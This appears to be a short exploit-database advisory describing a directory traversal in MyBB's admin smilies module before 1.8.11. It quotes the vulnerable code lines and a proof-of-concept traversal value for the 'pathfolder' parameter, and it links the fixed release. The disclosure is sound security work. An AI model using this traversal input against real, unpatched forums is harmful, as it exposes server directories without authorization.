MyBB smilie Module 1.8.11 - pathfolder Directory Traversal

2017-04-11T00:00:00
ID EXPLOITPACK:9AB392DC57A17C5056B43EF6D9EA2D2C
Type exploitpack
Reporter Zhiyang Zeng
Modified 2017-04-11T00:00:00

Description

MyBB smilie Module 1.8.11 - pathfolder Directory Traversal

                                        
                                            Description:
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product: MyBB
Homepage: https://mybb.com/
vulnerable  version: < 1.8.11
Severity: Low risk

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Proof of Concept:
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vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

vulnerability  file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

vulnerability  Code:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);

if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!

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Fixed:
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This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

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